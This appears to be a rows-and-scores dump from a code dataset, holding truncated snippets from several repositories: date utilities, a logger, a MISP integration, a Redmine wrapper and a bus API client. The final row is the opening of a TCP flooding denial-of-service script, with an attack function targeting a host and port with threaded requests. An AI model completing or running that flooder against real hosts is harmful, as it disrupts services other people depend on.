import os import math import string import numpy as np import rospy import keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \ GaussianNoise, BatchNormalization import cv2 import collections import random import time from example_s...
2.75
3
build/lib/Kronos_heureka_code/Zeit/__init__.py
heureka-code/Kronos-heureka-code
0
1891
<filename>build/lib/Kronos_heureka_code/Zeit/__init__.py<gh_stars>0 from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung from Kronos_heureka_code.Zeit.Datum.Tag import Tag
1.273438
1
retro_star/utils/logger.py
cthoyt/retro_star
65
1892
<reponame>cthoyt/retro_star<filename>retro_star/utils/logger.py<gh_stars>10-100 import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s...
2.421875
2
Packs/MISP/Integrations/MISPV3/MISPV3.py
hiep4hiep/content
0
1893
# type: ignore from typing import Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPytho...
2.171875
2
redmine/__init__.py
hugoseabra/redmine-task-generator
0
1894
from django.conf import settings from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__i...
2.109375
2
python_survey/finished_files/main.py
trenton3983/PyCharmProjects
0
1895
<gh_stars>0 import pandas as pd import numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to take the names list from our data dictionary names = [x.name for x in DATA_DICTIONARY] # Generate the list of names to impo...
3.390625
3
adet/modeling/embedmask/mask_pred.py
yinghdb/AdelaiDet
3
1896
import torch from torch.nn import functional as F from torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) in...
2.234375
2
cloudferry/actions/prechecks/check_vmax_prerequisites.py
SVilgelm/CloudFerry
6
1897
# Copyright 2016 Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,...
1.726563
2
bongo/core.py
codeforamerica/bongo
0
1898
<reponame>codeforamerica/bongo """ A simple wrapper for the Bongo Iowa City bus API. """ import requests as req class Bongo(object): """ A simple Python wrapper for the Bongo Iowa City bus API. """ def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs)...
3.203125
3
src/security/tcp_flooding.py
janaSunrise/useful-python-snippets
1
1899
import random import socket import string import sys import threading import time def attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global thre...
2.890625
3